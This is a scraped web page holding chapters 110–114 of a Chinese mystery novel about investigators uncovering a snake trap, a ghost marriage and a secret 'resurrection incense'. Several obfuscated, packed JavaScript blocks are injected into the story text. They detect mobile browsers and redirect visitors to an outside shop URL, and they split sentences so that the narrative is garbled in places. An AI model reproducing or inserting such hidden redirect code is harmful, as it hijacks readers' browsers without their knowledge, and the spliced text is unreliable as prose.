方骅懒得与他多说,直接开口问道:”谁指使你的?“ 对方正准备开口辩解,他直接开口打断:“如果再让我多问一句,你便不会再有开口的机会了。” 他的语气里透着刺骨的凉意,让本来想耍赖躲过他盘问的男人渐渐有了些惧意。不知是不是没了灯笼照明的缘故,就连这晚夏的风吹过来都透着凉。 “没有人指使……”对方抱着侥幸心理,准备再次装傻。 卢大叔嘴里说着诓骗几人的话,方才提着灯笼的手空下来后,一直顺着裤腿摸索着什么。 只是这次,他没法成功将这句谎话完整说出。 一声哀嚎过后,田间似乎有什么东西动了下。 然后在不远处的田梗里,趴着被方骅踢晕的卢大叔。 姜小四“噔噔噔”地跑过去,不知喂了颗什么给已然晕过去的男人服下。又在他身上摸索一阵后找到了什么东西,再次乖乖跑了回来。 “哎呦?今日我们的给事中大人脾气有些火爆喔……”珊瑚语气夸张,生怕方骅听不见似的。 冷萤则是走上前,先问了姜小四卢大叔有没有死。 在得到答复后,才又走到方骅身边,瞧了眼四周小声问道:“不如猜一猜,是谁在背后帮他?” 珊瑚也走上前,将像根木桩子的方骅挤开,笑眼弯弯地对冷萤道:“我猜……是胭脂铺的掌柜的?” “他躲我们都来不及,怎么可能主动找上门?”方骅冷哼一声,仿佛在嘲笑她的愚蠢。 恼羞成怒的珊瑚一甩头,恶狠狠地吼道:“那你说是谁?” 见方骅不理她,她一点也不客气地指责:“还不如先跟着他过去呢。现在好了,人也被你踢晕了,想害我们的人还藏在暗处。” “珊瑚小姐既然如此运筹帷幄,不如再往前走两步?”方骅也不生气,只是莫名开始怂恿她。 听他这样说,姜小四颇为不赞成地皱了皱眉,本想拉住珊瑚却被她一把甩开。 “走两步就走两步,就这破地方你还能唬得住本姑娘?”珊瑚一点也经不起激,二话不说就准备朝前冲去 冷萤在身后一把拉住她,在对方疑惑瞧过来时,示意她瞧瞧周边田梗下。 月光轻轻洒在田间,一抹银辉下,一条条毒蛇悄然无声地吐着信子,昂着身体。 它们的眼睛在夜色中闪烁着诡异的光泽。 珊瑚全身鸡皮疙瘩顿起,她还发现,不光是她方才瞧的左右两处,就边前面的小路上,也有几条正昂着身子对着他们。 空气中弥漫着一种不祥的静谧,他们现在所走的每一步,可能都是未知的陷阱。 而她方才,居然还不停地咋咋呼呼。 此时的珊瑚,连话都说不好了,“冷姐姐,你怎么不告诉我啊?”她彻底怂了下来。 “想说来着,没来得及。”冷萤对她安抚一笑。 姜小四难得发出一点声响,好似正在嘲笑她。 珊瑚惊呆了,又不敢太大声音:“你怎么也知道?你知道还不告诉我?”【。3。】, 这几个朋友算是白交了。 (我拉你了。) 好吧…… 她不开心地撇了撇嘴,不满地问:“什么时候发现的?” “那男人的灯笼里洒了鱼鳞藤。鱼鳞藤是捕蛇人拿来引蛇的,姜小四方才闻出了不对。”冷萤耐心告知。 “鼻子真灵……”珊瑚难得表扬别人,“那你方才过去他身上翻什么了?” 她话音刚落,姜小四拿出了一包粉末。 (半边莲,可以驱蛇。) “脑子也灵……”珊瑚下意识地赞了句,逗得冷萤止不住的轻笑,她难得看见珊珊如此佩服一个人。 珊瑚现下才不管谁在笑她,她只在心里想着:难怪那些毒蛇虽条条伸长着脖子,却没一条敢上前。 然后紧紧抓着冷萤的胳膊,感觉自己不能再聊下去了。 她要快点离开这儿,不然肯定会因为过度紧张而晕过去的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547101|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “它……它们怎么不动啊,会不会等我们一走动,它们就会马上扑过来?” 安抚地拍了拍她紧抓着自己胳膊的手,冷萤安抚道:“放心,姜小四已经将半边莲洒出去了,一会儿那些蛇便会自行离开。” 听她这样说,珊瑚这才着实松了口气,随即抽空看了眼卢大叔晕倒的地方,“那……就把他放在这里?” 虽然对方想引蛇来咬他们,但毕竟是未遂嘛,也不能真让他就这么被蛇咬死在这里。 冷萤似乎早就想好了对策,看着一旁正一 脸不耐烦等着她们聊完的人。 珊瑚与姜小四,也顺着她的目光全都看了过去。 见所有人目光都聚集在自己身上,方骅很是无奈地放下抱臂的手,随后走到田梗上,扯起方才被自己踢晕的男人。 他方才还特地将人踢至最远处,避免对方被毒蛇撕咬。早知道还得自己扛着回去,方才就不那么用力了。 几人将卢大叔送回去时,卢辉正站在门口等他爹。 见他爹直着出去,弯着回来,忙上前问道:“我爹他是怎么了?” 冷萤几人没说话,方骅一把将男人丢到床上,四下望了眼问道:“你娘呢?” 卢辉一愣神,回道:“我娘去夜市上做生意了呀,他们卖的东西都是客人提前订好的,当天必须送过去。” 几人一听脸色顿时沉了下来,方骅更是冷笑一声,拔腿就往外走。 见他们要走,卢辉在身后别扭问了句:“你们要留下来用饭吗?我娘……” 本来已经走了几步的冷萤停下,转身问他:“当初是谁告诉你,胭脂铺里有人可以治阿苑脸上的胎记的?” 不知她为何突然问起这个,但卢辉已对他们颇为信任,开口便答:“有一次晚上吃饭时,听我爹说的。” 一时间,所有人都没再出声。 “怎……怎么了?”卢辉察觉到他们表情不太对。 冷萤暗叹一声,本想直接离开但还是有些不放心,便严肃道:“以后,别去胭脂铺了。你比林苑大一些,记得要保护好她。“ ”那是当然!“少年斩钉截铁地回道,生怕自己不值得信任。 几人有要事,便没再多说。 少年站在屋前,看着他们离去的样子,一脸懵懂不解。 第一百一十章 宁家 村子的黑暗与夜市的热闹,不过一线之隔。 几人站在漆黑的夜色中,盯着那家卖瓷瓶的小摊,今日摊前的确换成了一位妇人。 是换了人,售卖模式却依然未变。 只不过…… 妇人虽有样学样,接过银子便递上一个瓷瓶。但或许是还不熟练的缘故,她盘坐的膝盖旁放着一张折叠的纸。 只要来一位客人,她便趁众人不注意时,打开那张纸瞧上一眼。 她这个行为,大概是在确认对方是否有提前订货。 “如果直接去买,肯定会碰壁。不如直接将她打晕扛走吧?”珊瑚虎视眈眈地盯着小摊子,顺便出主意。 “不需要了。”冷萤回她。 “为啥?” 他们方才,不是还想方设法想买到人家手中的瓷瓶吗? 方骅有些嫌弃地瞧了她一眼,道:“有近路走,为何还要抄远路。你去把那妇人旁边放着的那张纸偷过来。” “我是你的下属吗?”珊瑚瞪了他一眼,“你让我做什么我便要做什么?” 虽是这样说,但她的手还是下意识放至腰间。正当她腰间的弦线蓄势待发时,妇人身旁的那张纸出现在三人眼前。 姜小四面无表情地将纸放在冷萤手中,又乖乖走回她旁边站着,全程忽略珊瑚愤愤地目光。 在珊瑚“抢我风头……”的不甘话语中,冷萤打开了那张纸。 不远处,妇人摊前有人递过来一两银子,她下意识去拿膝旁的纸,却摸了个空。她慌张地站起身寻找,却如何也找不到了。 一张纸上,有十几个人的名字。 其中一个人的姓名,引起了几人的注意。 “宁德远” 这个“宁”,不知是不是那位开栈香铺的宁掌柜? “不如去栈香铺问问?”珊瑚提议:“我倒要看看是个什么金贵玩意儿,买个瓶子还要提前预订,为了不让我们知晓还放蛇咬我们,肯定不是什么好东西!” 姜小四也很是同意地在旁连连点头。 珊瑚在说话时,冷萤却在暗自思考。 既然他们并不想让人知道瓷瓶里是什么,又为何要大张旗鼓地摆在夜市里卖呢? 难道……买家与卖家之间并没有联系,他们的买卖全靠有人在中间安排? 可是小小的沉水镇,抬头不见低头见,一竿子打下去倒一片亲戚,有必要这样吗? “你在想什么?”方骅低声问她。 被他的声音唤回神,冷萤茫然抬头瞧他,不是很确定地问道:“你说……卢家夫妇摆这个摊子,会不会全程都有人监视?或许此刻,便有人正看着我们?” 她的一句话,让另外三人顿时警惕地朝四周瞧着。 珊瑚眼神好,一眼就瞧见不远处的铺子旁,有一个人在自己瞧过去的刹那,将整个身子缩了回去。 “东边,挂着两盏珠灯的铺子旁边。”她低下声,对几人道。 方骅立刻一挥手,一道黑影自他身后窜了出去。 珊瑚瞧着陈全的背影,问道:“方才在田间时,陈全为何不出现?” “被我派去查别的了。”方骅懒懒回道。 “查什么?” “你们一会儿就知道了。” 几人说话间,陈全已回,正朝方骅禀报:“是属下没用,等我过去时那人已经跑没影了。” “没事,他们迟早会露出马脚。”方骅回了句,随即安排他们:“你们这几日就守着这家卖瓷瓶的小摊,还要注意像方才那样可疑的人出现。” “是!” “让你查的事,怎么样了?”安排好后,他又问。 陈全答:“这个凌风很是奇怪,属下明明见他进了万安客栈,可等了许久都未见他走出门一步,连到楼下用饭都不曾。” “会不会是在收拾行李?”冷萤问。 “那便不知了。” 方骅点头表示明白,随即沉声道:“那你守在这里,另外派人去万安客栈守着,有任何情况随时来报。” 珊瑚这下不懂了,开口问他:“你把事都给别人做了,那我们做什么?” “我们有更重要的事情做。”方骅回。 “什么?” 冷萤猜测:“去宁家?” “是去宁家。不过……”方骅沉吟片刻,说道:“是去宁幺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547102|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿家中。” 宁幺儿的家离夜市不远,自然离栈香铺也不远。几人路过栈香铺时,还可以看见宁掌柜店里的客人不少。 “真的不进去问问吗?”珊瑚还是不死心,她是真想知道那瓷瓶里装的究竟是什么。 冷萤摇头:“我们方才已经打草惊蛇了,现下进去弄不好还会害了他。” 珊瑚听罢,顿时收了声。 “宁幺儿的家就在这条巷子后头。”方骅对几人道。 冷萤突然想到一件事:“这么晚过去,会不会打扰到他们?” 谁知,她话音刚落,嘈杂的鼓乐声自后面暗巷里传来,听出声地,好似就是他们要去的宁家。 “这么晚了,谁家在……办喜事?”从鼓乐声中珊瑚分不太出来,但隐约觉得这应该是在办喜事。 这乐声 虽萧条,却也喜庆。 方骅摇头,率先朝那条巷子后方走去。 冷萤、珊瑚还有姜小四,三个人走在后面。 一阵风吹过,走在最旁边的姜小四先是瞧见有个什么东西朝他飞过来,随后”啪“的一下,贴在了他的脸上。 他一把抓下拿在手里一瞧,脸色顿时大变。 他的手中,赫然抓着几张黄白纸钱! “这到底是在办喜事,还是……办丧事?”珊瑚都被搞糊涂了。 前面带路的方骅,在瞧见出现在自己眼前的场景时,脚步也略微顿了顿。 只见离他们不远处的宁家,大门上挂着几圈红黄绸带,檐下象征着喜庆的红色灯笼里,点的却是白蜡。 有两排下人静默站立在一旁,表情凝重却又是强颜欢笑。 他们每个人手中都捧着各色物品。那些物品颜色鲜艳,栩栩如生,可仔细看过去,却全都是用纸扎成的。 门边有几个穿着与他们不同的人,手上捧着几个丫鬟与奴仆打扮的纸扎小人。 他们的身后,放着纸马、纸屋。然后守在宁家两侧,好似正在等待着谁。 就在这时,一直奏响的鼓乐骤然停住,整个宁家四周便全都安静了下来。 几人瞧着这诡异的一幕,站在原地不敢再往前走一步。 第一百一十一章 纸人 只有珊瑚天不怕、地不怕。 她盯准门边一位正在打瞌睡的小哥,对几人道:“那么大的鼓乐声那人都能睡得着,想来这里面就属他心最大了。你们等着……待本姑娘去找他打听打听再回来。” 说完,她二话不说就往那处跑去。 冷萤在她身后叮嘱:“要小心。我们就陪在你旁边。”这里的场景有种说不出的可怕,她怕珊瑚逞强,一会儿害怕了又找不到他们的人。 珊瑚挥了挥手,让她不要担心,随即悄悄走到那人身边,轻轻将正在打瞌睡的小哥拍醒:“喂,有人来了!” 小哥倏地惊醒,刚睁开的双眼还未清明,便抱着手中的纸人一下站得直直的。 直到发现自己眼前啥人没有,他才蓦地回过神来发现被骗了。 他转头怒瞪一旁睁着双大眼,笑起来甜甜的女孩儿。 谁知对方的笑容太有感染力了,让他有些不忍心斥责:“你这小姑娘,怎的还唬人呢?” 珊瑚梨涡浅笑,并不在意对方的指责,反倒好奇地指着前面那些人手中抱着的纸扎人,问道:“小哥,这大半夜的,你抱着这个不怕呀?” 见有这么一位可爱小姑娘来同自己搭话,他本来半夜待在这里就无聊得紧,便有一搭无一搭地同她聊了起来。 ”哎,谁说不怕呢。这新娘子死得可就太惨了,男方倒还好,听说是病死的。要不是宁家钱给得多,我本来是不想来的。“ ”他们这是在干吗呀?“珊瑚不解地问道。 “你不知道?” 他惊讶地看着对方心想:这小姑娘看着挺正常的,怎么说起话来傻傻的? “不知道啊。”珊瑚理所应当地答道。 见她确实不知,对方神秘兮兮地小声与她说:“结阴婚啊,你没听说过?” 这么一说的话,珊瑚自然便懂了。 她懵懂地点点头,状似明白地问道:“听是听说过,但有必要吗?人都死了。” 那小哥“嘿嘿”一笑,也不知是何意,只说道:“那还不是宁家夫妇,觉得自家女儿未论亲嫁人便去了,以后到地府也是孤苦无依。正好城南那边王家公子刚病死,两家一拍即合,便结了这桩亲事。” 珊瑚都听傻眼了,喃喃一句道:“这……不至于吧?” “怎么不至于?女孩天生就是要嫁人的,这还没成亲就死了,父母自然是不安心。现在这样,不是正正好?”小哥瞥了她一眼,觉得这姑娘脑袋怕是坏掉了。 好个屁!珊瑚心里吐槽一句,但暂时还不敢骂出来。 冷萤躲在后边听着,也甚觉好笑。 女儿死了,凶手都还未抓到,居然着急地去给自家女儿配阴婚? 见珊瑚表情很是复杂,那小哥又开口了:“听说啊……” “听说什么?”见对方越说越小声,珊瑚忙凑过去仔细听。 他四处瞧了下,发现没人注意到他们这里,才又小声道:“这家不是宁家老二吗?听说宁家老大的女儿前些年病死后,也是这样做的。” “宁家老大?是前边巷子口栈香铺子的宁掌柜吗?”珊瑚明知故问。 小哥点点头:“就是他,听说他大女儿死后他到处打听什么起死回生之法。最近让他弄到什么回……什么香的香方,便日日在店内捣鼓。” “回生之香?”珊瑚眼睛一亮,快速问道。 “对对对,好像就叫这个名字。”小哥惊讶地看着她:“姑娘怎么知道的?” 珊瑚干笑一声:“我也是听说。” 小哥站在这里确实也没事做,好不容易有个人来陪他聊天,倾诉欲一下子就上来了。 他压根不管对方为何大半夜出现在宁家门口,巴巴地讲着:“听说那‘回生之香’的香方,是一位高人给他的,别人想看看都不行,日日守得跟个宝贝似的。” 似懂非懂地“哦”了声,她又问道:“那他制出来了吗?” “当然没有!”小哥和看傻子一样看着她道:“要真按那香方制出来了,这宁家老二的女儿还用配阴婚?” 他说得也没错,好歹是自己亲弟弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547103|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可能眼睁睁地看着对方就这么失去女儿? “宁家两房的关系好吗?”珊瑚想了想,问道。 “自然是好,这沉水镇谁人不知,自宁老大失去亲生女儿后,便把宁幺儿看得和眼珠子似的。宁老二有时还自嘲这个父亲当得没有老大好呢!”小哥说起人家家事,仅剩的一点睡意也无了。 “这……夸张了吧?”珊瑚倒不这么觉得。 既然护得和眼珠子似的,怎的那日,还让宁幺儿一个人抱那么大一堆香材去拣香坊去? 若不是他那日大意,让一位姑娘晚上去送香材,也不至于会发生那样的惨事。 还有…… 既然这般爱护自己这侄女,为何今日这样大的事,他铺子离这里又近,却连面都不露一下? 是不赞成宁家办阴婚,还是压根不在意? “怎么会夸张?你是不知道,我听我媳妇儿说,宁幺儿年幼时与她堂姐,就是宁老大的女儿一起玩耍时,不小心磕破了下颌……”小哥生怕她不信,连与自家媳妇的私房话都说了出 来。 “等等……”珊瑚突然打断他的话,急忙问道:“你说,宁幺儿的下颌处有伤痕?” “嗯啊……” “多大的伤痕?” 小哥脖子一梗,着急忙慌道:“那我哪知道,我又不能巴巴地去瞧,我媳妇儿打人很疼的。” “你继续……”珊瑚无力吐槽。 “喔喔……”见她催促,他继续道:“我媳妇说,宁幺儿及笄时说过一门亲,因为下颌处有点疤就给耽误了。宁老大听说后,便将她送到胭脂铺说让店主帮忙瞧一眼。嘿……没想到,那疤痕还真淡了不少。” 说完,他强调一句:“是我媳妇儿说的哈,我可没亲眼见过。” 珊瑚若有所思,敷衍回道:“知道了……知道了……”突然她似又想起什么,忙问道:“你见过胭脂铺老板的模样不?可知对方姓甚名谁?” 小哥努力想了想,摇摇头:“这胭脂铺才开没多久,我一大男人哪能知道?” 第一百一十二章 献祭 宁家门前的鼓乐声复又响起。 小哥忙站直身子朝珊瑚随意挥挥手,让她赶紧离开。 珊瑚便顺势往后退去,直到退到墙后,与冷萤他们站到一起。 不远处,纸扎的花轿被人抬了过来,想来是男方那边的人已经过来了。 “走吧……” 冷萤不愿瞧见这样的场面,这种行为就像是不顾个人意愿,又重新扼杀了这名女子一次。 几人走远些后,珊瑚才颇为想不明白道:“胭脂铺竟没开多久?这倒是我不曾想到的。” “所有线索目前都指向胭脂铺,我们下一个目标便是找出胭脂主人,摸清林苑口中的那位‘叔叔’究竟是谁。”方骅沉思片刻,对几人道。 冷萤也觉得他说得没错,只是…… “回生之香……”她喃喃念了一句,倒是提醒了方骅。 他指了指姜小四身上的布包,对方随即明白了他的意思,从包里抽出一张纸递给冷萤。 “这是……”冷萤展开,将上面的内容念出:“角沉、丁香、龙脑、麝香、甲香、牙消。” 她知道这些都是香材的名称,只是他们为何要将写满香材的方子递给她? 她看向姜小四,无声询问。 “还记得我们那日去栈香铺子,有名伙计正在研磨做‘婴香’的材料吗?”方骅替姜小四开口解释。 “记得。” 方骅继续道:“他当时因为感兴趣,特去瞧了眼那伙计身边放的几味香材,便是这几种。” 听他这般讲,她便有些好奇了:“那你们这张香方是从哪处寻来的?” “引香铺那尊‘莲花手菩萨像’手中的那朵五彩莲花里。” 此话一出,惊呆了冷萤与珊瑚。 冷萤不可思议问道:“那里竟有机关,可陆引收藏这方子做什么?”还放在如此隐蔽之处。 方骅勾了勾下巴,让她将香方翻过来,仔细瞧。 冷萤照做,在瞧见香方背面角落处的四个大字后,她情不自禁地念出:“回生之香?” 方骅与姜小四齐点头。 被宁德远宝贝得和什么一样的方子,陆引手中竟也有一张。 “可是,宁德远为何要叫它作‘婴香’?”珊瑚有些搞不明白了。 (我这几日查过资料,古朝时确有一味香叫作‘婴香’,闻起来心神宁静,可以治愈头风之症。) “所用香材都是一样吗?”冷萤问。 姜小四点头。 那就奇怪了…… (这其实就是‘婴香’的方子,所谓能起死回生的‘回生之香’,或许只是谣传。) “这么说来……”珊瑚难得静下心想了想,问道:“既然宁德远手持相同的两种香方,且所用香材都一样,为何他自己却分不出?” 冷萤默默想了许久,才回道:“会不会……其实我们拿到的这张香方,是不完整的?或者说,最重要的一部分被有意掩住了。” 此言一出,提醒了众人。 方骅拿过香方仔细观察,竟真发现在那几味香材名称后边,跟着一块不起眼的褐色污渍。 他拿起来一闻,眉头顿时紧锁。 “好像是干涸的血液。”他对众人道。 血液?是人血还是……? “不小心滴上去的?”冷萤猜测。 “那这也太巧了吧?”珊瑚仔细瞧了眼,总觉得那抹血迹并不像是无意间滴落上去的。 “看来,我们还是得去一趟栈香铺。”方骅提议道。 “有道理。” 几人说走就走,趁着宁德远还在栈香铺,他们正好去探听探听。 只是…… 方才路过时,他们明明瞧见宁德远还在铺子里忙着。现下走回去,却再也未瞧见对方的人影了。 店里几位客人正在挑选商品,伙计们正在为他们介绍。 见上次那位研磨香材的伙计,今日依旧坐在原地研磨着一地的香材,珊瑚走上前问道:“小哥,请问宁掌柜在吗?” 伙计面无表情地忙碌着,头未抬地回了句:“找宁掌柜明日来。” “是回家了吗?我瞧铺子正在忙得当下,掌柜就这么回去了吗?”珊瑚耐着性子问道。 伙计抬头瞧了她一眼,又低下头去一边动作一边小声说了句:“他去送货了,现下不在,明日再来找他。”说完,他下意识瞧了店铺后方一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547104|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那打扰小哥了。”冷萤走上前说了句客气话,拉着珊瑚与方骅和姜小四走出了栈香铺。 待走出店门后,珊瑚才问道:“怎么了冷姐姐,我还未问清宁德远去哪了呢。” 冷萤指了指铺子后方,告诉她:“宁德远应该就在那处,走,我们去瞧瞧。” 言毕,冷萤与方骅便趁人不注意时,沿着铺子边缘往后方走去。 珊瑚与姜小四则站在原地,为他俩把风。 刚走没几步,二人便听见前方有人在说话。其中一人的声音冷萤好似有点印象,应该便是宁德远的。 另外一人嘛……音调太过别扭,听起来竟不似男声也不似女声。 方骅走在前边,抽空朝前面瞧了眼,转头正想同冷萤讲话,谁知 一个没把握住,差点与全神贯注朝前慢移的冷萤,撞个正着。 两人同时向后退了一步,方骅更是突然连手都不知该往哪处摆。 冷萤本来没觉得有什么的,但在发现对方的慌乱后,也颇有些不好意思地咬了咬唇。 “那个……宁德远,他正在同一个戴面具的人说……说话。”方骅难得说话结结巴巴,眼睛还总止不住朝身后瞟。 后面跟着的人也快速点了点头,装作在认真听他讲话的样子,答道:“喔……知,知道了。” 方骅快速回了下头,见冷萤格外认真地看着前方,便也强迫自己收回目光,带着她往更隐蔽的地方走,最后在拐角处停了下来。 这个地方,不近也不远,刚才够他们听清前边二人的谈话声。 “这是今日制好的十瓶,您瞧瞧有没有什么问题。”这句话,是宁德远说的。 他说话的语气,充满了谦卑。 对方接过宁德远抱在手中的匣子,用怪异的语调说道:“我今晚便拿去染坊,主人说到做到,你只要乖乖地每日做好十瓶‘婴香’,等集齐一定量的‘回生之香’后,你女儿便能复活了。” “多谢,麻烦替我多谢你的主人。那……我那侄女呢?”宁德远卑躬屈膝地问道。 “哼……”那人一笑,面具里的声音听起来格外刺耳,“你都将你侄女献祭给主人了,现在又假模假样的,做给谁看呢?” 第一百一十三章 面具人 面具人的一句话,让冷萤与方骅身体同时一震。 他们面面相觑半刻,还未完全从震惊中回过神,那人又说话了:“谢谢你贡献了香砂,主人很是满意。但做人不能太贪心,既然你选择舍弃侄女救回你女儿,便要学会知足。” 宁德远垂下头,连连道:“是…是……” 面具人捧的那匣子未上盖,方骅慢慢站直身子,在冷萤不解的目光下,悄然上了屋顶。 冷萤本以为,他一人窜上去便也罢了。结果,当她想继续偷听时,身体却突然腾空,嘴被一方帕子捂住,避免她因为惊吓而喊出声。 男人温热的气息飘在她耳边,悄声说了句:“不要怕,是我。” 随后,她便稀里糊涂地坐在了屋顶上。 方骅手轻,全程没发出一点声音。 檐下的二人谈话已结束,面具人抱着匣子朝出口处走去,冷萤与方骅轻而易举地便瞧见他匣子里装的东西。 那里面正正好有十瓶,外表瞧上去与卢家夫妇夜市里卖的瓷瓶一模一样! 宁德远也正在转身往回走,冷萤虽是惊讶无比,却不敢发出一丝声音。 不过她总算明白,方骅方才为何要将她“提溜”上屋顶了。 如果不是他反应快,按照宁德远此时的行径路线,三人肯定会撞个正着。 他俩倒是躲过了,可前面把风的珊瑚与姜小四却被吓了一跳。 他们傻愣愣躲到一旁,见宁德远从方才冷萤与方骅进去的地方走出,瞬间开始焦急。 “冷姐姐人呢?”珊瑚一边喃喃自语,一边伸长脖子朝暗处望着。 在宁德远回到栈香铺后,她和姜小四才终于瞧见冷萤与方骅从那处走出。 “没事吧?”珊瑚忙迎上去,却一眼发觉冷萤不对劲:“冷姐姐,你脸怎么这么红?你们方才没被发现吧?” 姜小四慢慢歪了下头,看向跟在冷萤身后低垂着脑袋走出的方骅,随后了然地收回了自己的好奇心。 “没,没有……”冷萤的腰间,还残留着方骅将她抱下来的余温。 不过也只有刹那,她便马上回过神,指着一处方向道:“走,快跟上那个面具人。” “那人是谁?” 方骅走上前,偷瞧冷萤一眼后,替她答:“先跟过去,他手上拿的东西很重要。” 夜市的热闹,很好地掩盖了他们的举动。 他们装作逛夜市的模样,余光却一直跟着那面具人。 慢慢地…… 出现在周边的人越来越少,头上挂着的灯笼,也从一排排到一盏一盏,到最后一盏也没了。 黑夜的寂静开始笼罩在他们周身,几人逐渐发觉,那面具人走的路线怎的瞧起来这样熟悉。 “这不是去拣香坊的路线吗?”珊瑚跟着跟着,也发觉了不对。 只不过,上次他们是从另一条抄近路过去的,这次的面具人选择的却是一条更偏更远的路。 但不管怎么,越走近他们便越感觉熟悉。特别是方骅与姜小四,这是他们来到这里的第三回了。 一次是几人自己找来的,另外一次则是跟踪陆引,但两次都未真正进到过拣香坊内部。 看着面具人走进飘荡着紫纱的院子,越过那些还未收进屋内的线香与环香,径直推开门走进了室内。 四个人分开行动,珊瑚与方骅两个习武之人趁着夜色一跃而起,径直落在屋顶上。 而姜小四则守在冷萤身边,在发现程平并未在院中后,两人顺着墙边走进了院内。 院里依旧摆满了线香与环香,冷萤发觉,这里的主人似乎从不在意这些香品会不会受雾气的浸润,一直都是大咧咧地摆在室外。 直到此刻她才明白过来,这些香品,或许与院内的桌椅摆件还有那几棵绿树,有着同样的功效罢了。 两人顺着墙边狼狈地移动着,不仅要时时观察会不会有人突然出现,还要防止发出声响而惊动到室内的人。 就在他们即将顺利移到台阶处,离面具人进去的房间只有一步之遥时,方骅与珊瑚突然从屋顶上落到了他们身边。 “怎么突然下来了?”冷萤着急地小声询问。 珊瑚凑到她耳边小声与她解答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547105|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她听后表情顿时变得不可置信。 瞧了眼方骅,又将目光转回到珊瑚身上,冷萤问道:“那我们现在要进去吗?” 方骅点头又摇头:“要进去,但不是现在。” 珊瑚则是拉着她,一行人又匆匆地自拣香坊院子里溜出。 直到行至能正常说话之地,珊瑚才如开了闸一般朝冷萤道:“冷姐姐,这里面问题真的很大。你猜,我们在屋顶上面瞧见了什么?” 冷萤当然不知道,于是老实问道:“瞧见了什么?” 指着方才冷萤想走过去的那个房间,珊瑚颇为愤怒道:“全都是欺骗!那门推开后压根就不是一间房,就一道走廊而已。经过那道走廊后的确是有房间,只是那些房间全都上了锁。” 冷萤眨眨眼,终于懂了他们方才的行为。 “那……走廊的另一边,除了全是上锁的房间,便是你方才说的那处地方?”她问道。 珊瑚颔首 ,随即道:“……那地方四周的墙特别高,还有专门的人守着。但我们还是瞧得清清楚楚,里面与郝灵画纸上的场景真是一模一样。” 听她提起,冷萤从自己背包里拿出郝灵的画作,小心翼翼地打开。 珊瑚方才提起时,她确实有些吃惊。 后来又一想,会不会郝灵曾经也来过这里,然后将这里的场景都记在了心里,才作出了那幅画? 只是…… 她瞧着画上的那几口大水缸,突然想到了什么,问道:“水缸里……” 方骅似乎知道她想问什么,还未等她完全问出,便答道:“与画纸上一模一样的颜色。” “什么?”冷萤以为自己听错了,“你确定,缸里的液体都是红色的?” 方骅点头:“我确定。” 那…… 她又将手指向画纸上的一小角,问道:“这个人,也在里面吗?” 这次换珊瑚朝她非常肯定地点了点头。 可依他们所说,这里不仅隐蔽还设有一道道关卡,最重要是有专人守着,郝灵一个小姑娘又是如何进去的呢? 第一百一十四章 个人秀宣告失败 几人还在犹豫时,姜小四突然行动了,二话不说抬脚就往拣香坊围墙下走去。 珊瑚下意识想喊他,冷萤快速上前捂住了她的嘴。可不能啥都还没查到,便直接打草惊蛇了。 对方姿态很勇敢,几人便也只好跟上去,看他准备做什么。 少年平时很少有自己的想法,一行人查案时也总是充当助手的角色,让他干什么他便干什么。 此时,突然这样有主见地想去做一件事,冷萤与方骅也并没有太过担心,只慢慢跟在他的身后走着。 以防他有什么疏漏之处,几人再上前去帮忙。 只见,姜小四悄声走到拣香坊的外墙下,抬头看了眼高高的围墙,随后抬起右手,慢慢竖起了食指。 珊瑚惊呆了,傻傻地问冷萤:“他是在对天发誓?” “发誓……好像是三根手指吧?” “那他这个,”珊瑚也有样学样,对着冷萤弹出自己的一根食指,问道:“是干啥?招魂呢?” 